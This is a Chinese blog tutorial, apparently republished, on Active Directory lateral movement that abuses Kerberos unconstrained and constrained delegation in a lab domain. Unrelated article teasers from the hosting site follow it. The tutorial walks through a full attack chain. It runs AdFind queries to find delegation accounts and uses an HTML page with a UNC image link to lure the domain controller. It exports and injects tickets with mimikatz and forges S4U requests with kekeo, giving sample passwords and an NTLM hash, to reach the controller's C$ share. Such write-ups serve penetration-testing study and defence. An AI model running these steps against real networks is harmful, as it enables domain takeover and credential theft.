内网渗透—横向移动非约束委派约束委派

2024-09-07 07:36

本文主要是介绍内网渗透—横向移动非约束委派约束委派,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

前言

今天依旧是横向移动的内容,委派主要分为三类非约束委派、约束委派、资源委派。今天主要讲前面两个内容,资源委派留到最后再讲。

实验环境

Web:192.168.145.137,192.168.22.28
DC:192.168.22.30

非约束委派

原理

原理很简单,当DC访问具有非约束委派权限的主机A时,会把当前域管理员账户的TGT放在ST票据中,然后一起发给主机A。主机A会把TGT存储在lsass进程中以便下次使用,而我们的机器A就可以利用这个TGT伪装成域管理员去访问DC。

利用

当我们取得一台具有非约束委派权限的域内主机时,我们可以诱导DC来访问受控主机,拿到域管理员的TGT,从而伪装身份。

环境搭建

首先来到域控中,右键我们的Web主机,选择属性。

选择信任此计算机的任何委派。

接着输入命令,才能够在用户属性中找到委派。

setspn -U -A priv/test weige

接着我们到对应的用户,右键属性,也是选择信任此用户的任何委派。

实验测试

这里先让web主机上线CS先,然后提权为system,把Adfind这个工具上传到web服务器。

下载地址:Download AdFind (softpedia.com)

查询域内有非委派约束权限的用户,可以看到我们上面设置的weige这个账号。

AdFind.exe -b "DC=god,DC=local" -f "(&(samAccountType=805306368)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

查询域内设置了非约束委派的主机,也是可以看到我们上面设置的WLW—PC。

AdFind.exe -b "DC=god,DC=local" -f "(&(samAccountType=805306369)(userAccountControl:1.2.840.113556.1.4.803:=524288))" dn

我们这里先清除一下票据。

mimikatz kerberos::purge 清除凭证
shell klist purge 查看当前凭证

尝试访问DC,显示拒绝访问。

dir \\DC.god.local\c$

这里我们想办法诱导DC访问Web主机才行,可以做个网页钓鱼。不过就现实来说DC几乎不会去访问网页,也不会去访问域内主机,除非不小心点到了。

<!DOCTYPE html>
<html>
<head><title></title>
</head>
<body><img src="file:///\\192.168.22.30">
</body>
</html>

这里我就懒得搞网页了,直接让DC连接Web主机吧。

net use \\WLW-PC

此时我们导出票据。

mimikatz sekurlsa::tickets /export

看一下票据,Administrator的就是DC的票据。

接着导入票据,好吧,这里不知道为啥失败了,明明昨天实验一把成功,今天又出问题了。那我直接拿一下别人的图片吧,其实到这里不用说你们也知道咋利用了。

图片引用:内网横向移动—非约束委派&约束委派_横向移动委派-CSDN博客

mimikatz kerberos::ptt [0;bbd89]-2-0-60a00000-Administrator@krbtgt-god.local.kirbi

访问域控。

约束委派

原理

由于非约束委派的不安全性,微软在windows server2003中引入了约束委派,对Kerberos协议进行了拓展,引入了sservice for user to self(S4U2Self)和Service for user to Proxy(S4U2proxy)。

利用

约束委派攻击主要利用被控主机设置了域控的CIFS服务的约束委派,则攻击者可以先使用S4u2seflt申请域管用户访问被控主机的ST1,然后使用S4u2Proxy以administrator身份访问域控的CIFS服务,即相当于控制了域控。

环境搭建

与非约束委派不同的是,约束委派选择仅信任指定服务,找到域控主机名,并选择服务类型为cifs添加。

找到相对应的用户,配置也是一样的。

实验测试

查询具有约束委派权限的用户。

AdFind -b "DC=god,DC=local" -f "(&(samAccountType=805306368)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

查询设置了约束委派的主机。

AdFind -b "DC=god,DC=local" -f "(&(samAccountType=805306369)(msds-allowedtodelegateto=*))" msds-allowedtodelegateto

由于域内主机想要访问域控,就必须要有TGT和ST。上面我们说过为了安全,Kerberos协议引入了S4U2Self和S4U2proxy。kekeo是一个模拟Kerberos认证的工具,我们可以用使用kekeo去申请TGT,明文或者hash都行,不要再问密码哪里来的了.

kekeo "tgt::ask /user:weige /domain:god.local /password:#abc123" "exit"   kekeo "tgt::ask /user:weige /domain:god.local /NTLM:579da618cfbfa85247acf1f800a280a4" "exit"

通过这刚刚生成的TGT伪造s4u请求以Administrator用户身份去访问域控的的CIFS的ST,S4U2Self 获取到的 ST1 以及 S4U2Proxy 获取到的 AD-2008 CIFS 服务的 ST2 会保存在当前⽬录下。

kekeo.exe "tgs::s4u /tgt:TGT_weige@GOD.LOCAL_krbtgt~god.local@GOD.LOCAL.kirbi /user:Administrator@god.local /service:cifs/DC.god.local" "exit""
//第一个斜杠后面的是上面生成的TGT,第二个是以administrator的用户去申请,记得加上域名,第三个则是域控全名

会在当前目录下生成两个票据。

接着导入票据,一般来说都是导入这个名字最长的票据,如过不知道就两个都试试。

mimikatz kerberos::ptt TGS_Administrator@god.local@GOD.LOCAL_cifs~DC.god.local@GOD.LOCAL.kirbi

成功访问域控。

dir \\DC.god.local\c$

总结

非约束委派和约束委派的最大区别就是,一个是信任此计算机的任何委派,一个只是信任指定委派。从实际运用来说,非约束委派由于要让DC进行连接才能获得票据,所以有点鸡肋,就不如约束委派。其实说来说去,本质都是票据的伪造,然后进行票据传递。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

这篇关于内网渗透—横向移动非约束委派约束委派的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1144461

相关文章

SQL中的外键约束

外键约束用于表示两张表中的指标连接关系。外键约束的作用主要有以下三点: 1.确保子表中的某个字段(外键)只能引用父表中的有效记录2.主表中的列被删除时,子表中的关联列也会被删除3.主表中的列更新时,子表中的关联元素也会被更新 子表中的元素指向主表 以下是一个外键约束的实例展示

poj 3159 (spfa差分约束最短路) poj 1201

poj 3159: 题意: 每次给出b比a多不多于c个糖果,求n最多比1多多少个糖果。 解析: 差分约束。 这个博客讲差分约束讲的比较好: http://www.cnblogs.com/void/archive/2011/08/26/2153928.html 套个spfa。 代码: #include <iostream>#include <cstdio>#i

poj 3169 spfa 差分约束

题意: 给n只牛,这些牛有些关系。 ml个关系:fr 与 to 牛间的距离要小于等于 cost。 md个关系:fr 与 to 牛间的距离要大于等于 cost。 隐含关系: d[ i ] <= d[ i + 1 ] 解析: 用以上关系建图,求1-n间最短路即可。 新学了一种建图的方法。。。。。。 代码: #include <iostream>#include

我在移动打工的日志

客户:给我搞一下录音 我:不会。不在服务范围。 客户:是不想吧 我:笑嘻嘻(气笑) 客户:小姑娘明明会,却欺负老人 我:笑嘻嘻 客户:那我交话费 我:手机号 客户:给我搞录音 我:不会。不懂。没搞过。 客户:那我交话费 我:手机号。这是电信的啊!!我这是中国移动!! 客户:我不管,我要充话费,充话费是你们的 我:可是这是移动!!中国移动!! 客户:我这是手机号 我:那又如何,这是移动!你是电信!!

POJ 1364差分约束

给出n个变量,m个约束公式 Sa + Sa+1 + .... + Sa+b < ki or > ki ,叫你判断是否存在着解满足这m组约束公式。 Sa + Sa+1   +   .+ Sa+b =  Sum[a+b] - Sum[a-1]  . 注意加入源点n+1 。 public class Main {public static void main(Strin

用Unity2D制作一个人物,实现移动、跳起、人物静止和动起来时的动画:中(人物移动、跳起、静止动作)

上回我们学到创建一个地形和一个人物,今天我们实现一下人物实现移动和跳起,依次点击,我们准备创建一个C#文件 创建好我们点击进去,就会跳转到我们的Vision Studio,然后输入这些代码 using UnityEngine;public class Move : MonoBehaviour // 定义一个名为Move的类,继承自MonoBehaviour{private Rigidbo

简单的角色响应鼠标而移动

actor类 //处理移动距离,核心是找到角色坐标在世界坐标的向量的投影(x,y,z),然后在世界坐标中合成,此CC是在地面行走,所以Y轴投影始终置为0; using UnityEngine; using System.Collections; public class actor : MonoBehaviour { public float speed=0.1f; CharacterCo

创建表时添加约束

查询表中的约束信息: SHOW KEYS FROM 表名; 示例: 创建depts表包含department_id该列为主键自动增长,department_name列不允许重复,location_id列不允许有空值。 create table depts(department_id int primary key auto_increment,department_name varcha

物联网之流水LED灯、正常流水灯、反复流水灯、移动流水灯

MENU 硬件电路设计软件程序设计正常流水LED灯反复流水LED灯移动流水LED灯 硬件电路设计 材料名称数量直插式LED1kΩ电阻杜邦线(跳线)若干面包板1 每一个LED的正极与开发板一个GPIO引脚相连,并串联一个电阻,负极接GND。 当然也可以选择只使用一个电阻。 软件程序设计 正常流水LED灯 因为要用到多个GPIO引脚,所以最好把所有的GPI

12C 新特性,MOVE DATAFILE 在线移动 包括system, 附带改名 NID ,cdb_data_files视图坏了

ALTER DATABASE MOVE DATAFILE  可以改名 可以move file,全部一个命令。 resue 可以重用,keep好像不生效!!! system照移动不误-------- SQL> select file_name, status, online_status from dba_data_files where tablespace_name='SYSTEM'